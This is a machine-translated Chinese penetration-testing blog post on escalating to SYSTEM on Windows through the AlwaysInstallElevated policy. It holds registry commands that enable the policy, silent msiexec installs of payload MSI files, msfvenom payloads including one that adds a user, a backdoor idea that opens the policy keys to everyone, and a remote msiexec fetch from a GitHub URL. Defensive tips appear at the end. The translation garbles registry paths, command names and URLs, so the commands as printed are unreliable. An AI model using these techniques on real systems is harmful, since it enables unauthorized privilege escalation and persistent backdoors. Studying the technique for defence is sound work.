发布于2022年11月8日3年前 0x00 前言 使用AlwaysInstallElevated提升功率是2017年公开的技术,Metasploit和PowerUp都提供了利用方法。 在我的研究过程中,发现Metasploit的利用方法存在一些不足,我遇到了与其他公开文章中描述的不同的情况。 于是我做了进一步的研究,这篇文章将介绍我遇到的问题和解决方法。 0x01 简介 本文将介绍以下内容: 常规利用方法 我在测试中遇到的问题 解决办法 扩展思想 0x02 常规利用方法 AlwaysInstallElevated是一个组策略配置。如果启用,它将允许普通用户以系统权限运行安装文件(msi)。 启用方法: 需要修改以下两个组策略: 计算机配置\管理模板\Windows组件\Windows Installer 用户配置\管理模板\Windows组件\Windows Installer 设置为启用,如下图所示 注: 不能通过secedit.exe在命令行下修改上述两个组策略。 命令行下的启用方法: 创建以下两个注册表项: HKCU \软件\策略\Microsoft\Windows\Installer,AlwaysInstallElevated,1 HKLM \软件\策略\Microsoft\Windows\Installer,AlwaysInstallElevated,1 cmd的命令如下: REG add HKCU \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1 REG add HKLM \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1 利用方法: AlwaysInstallElevated启用后,可以通过命令行调用msiexec来安装msi文件,该文件包含要执行的负载,负载将以系统权限执行。 调用msiexec的命令如下: msiexec /q /i test.msi /i参数用于指示安装操作。 /q参数用于隐藏安装界面。 注: MSI的日志文件将在执行后在%TEMP%下生成。 有关msiexec的更多信息,请参考以前的文章《渗透测试中的msiexec》 0x03 开源方法测试 使用以下命令在测试环境中启用AlwaysInstallElevated: REG add HKCU \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1 REG add HKLM \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1 1.PowerUp https://github . com/powershell mafia/PowerSploit/blob/master/Privesc/power up . PS1 (1)测试是否启用AlwaysInstallElevated 导入模块。\PowerUp.ps1 get-registralwaysinstallelevated True表示开放。 (2)导出msi文件 导入模块。\PowerUp.ps1 Write-UserAddMSI 当前目录生成UserAdd.msi (3)命令行执行(当前用户权限) msiexec /q /i UserAdd.msi 弹出添加用户对话框,可用于添加用户,如下图所示 此时,查看该对话框的权限为系统,如下图所示 权力的成功提升 2.Metasploit 使用以下命令生成计算器的msi文件: MSF venom-p windows/exec CMD=calc . exe-f MSI calc . MSI 执行命令行msi文件(当前用户权限): msiexec /q /i calc.msi 弹出计算器的权限为中等,如下图所示 这与通电的结果不同 更改其他有效负载的msi文件,例如添加用户: MSF venom-p windows/adduser USER=测试通过=12356QW!@ -f msi adduser.msi 例如,执行cmd命令: MSF venom-p windows/x64/exec CMD=' whoami 1 . txt '-f MSI CMD . MSI 由于权限不足(中等),全部失败。 这和其他公开文章描述的情况不同。 个人猜测: Metasploit生成的msi文件在运行时不需要提升权限,这导致了这个问题。 0x04 解决方法 这里可以参考PowerUp生成msi文件。 直接执行PowerUp生成的UserAdd.msi,如下图所示 msi文件由MSI包装程序生成。 让我们尝试使用MSI包装器生成一个可用的有效负载。 下载地址: https://www.exemsi.com/download/ 生成过程如下: 1.将Payload设置为执行ProcessHacker 配置如下所示 2.运行时要求提升权限 配置如下所示 注: 您可以在MSI安装上下文中选择每用户和每台计算机。 其他配置根据默认设置,生成的msi文件已经上传到github,地址如下: https://github . com/3g student/test/blob/master/runprocesshacker . MSI 同样,命令行执行msi文件(当前用户权限): msiexec/q/I runprocesshacker . MSI ProcessHacker以系统权限执行并被成功利用,如下图所示 基于以上测试,我们可以得出结论: Metasploit生成的msi文件在运行时不需要提升权限,因此不可能使用AlwaysInstallElevated来提升权限。 我们可以使用msi包装器来生成可用的MSI文件。 0x05 扩展利用思路 通常,首先判断注册表项。如果满足条件(有两个注册表项),可以使用AlwaysInstallElevated提升权限。 扩展思路1: 如果获得了备份服务用户的权限,则在输入whoami /priv后,会发现以下权限: SeRestorePrivilege SeTakeOwnershipPrivilege 此时可以写入注册表,创建相应的注册表项,然后使用AlwaysInstallElevated提升权限。 上一篇文章:《渗透技巧——Windows九种权限的利用》可以用SeRestorePrivilege和SeTakeOwnershipPrivilege写注册表。 扩展思路2: 如果获得了系统权限,可以创建一个提升权限的后门。 将ACL添加到以下注册表项,以允许每个人都可以写入: HKCU \软件\策略\微软\ Windows \安装程序 HKLM \软件\策略\微软\ Windows \安装程序 关于在注册表项中添加ACL的方法,请参考之前的文章:《渗透技巧——Windows下的Access Control List》。 扩展思路3: Msiexec支持远程下载和执行,那么我们可以使用Always in Stored来提升权限吗? 测试命令如下: msiexec/q/I https://raw . githubusercontent . com/3g student/test/master/runprocesshacker . MSI 执行失败。 在下面找到原因,并展示安装过程。测试命令如下: msiexec/I https://raw . githubusercontent . com/3g student/test/master/runprocesshacker . MSI 提示的来源不可信,如下图。 得出结论: msi文件需要受信任的证书来远程使用AlwaysInstallElevated声明权限。 0x06 防御建议 如果没有特殊需求,请禁用AlwaysInstallElevated。 监控注册表项: HKCU \软件\策略\微软\ Windows \安装程序 HKLM \软件\策略\微软\ Windows \安装程序 0x07 小结 介绍了使用AlwaysInstallElevated提升权重的方法,找出了使用Metasploit生成的msi文件失败的原因,最后介绍了如何通过msi Wrapper生成可用的MSI文件。 留下回复
创建帐户或登录后发表意见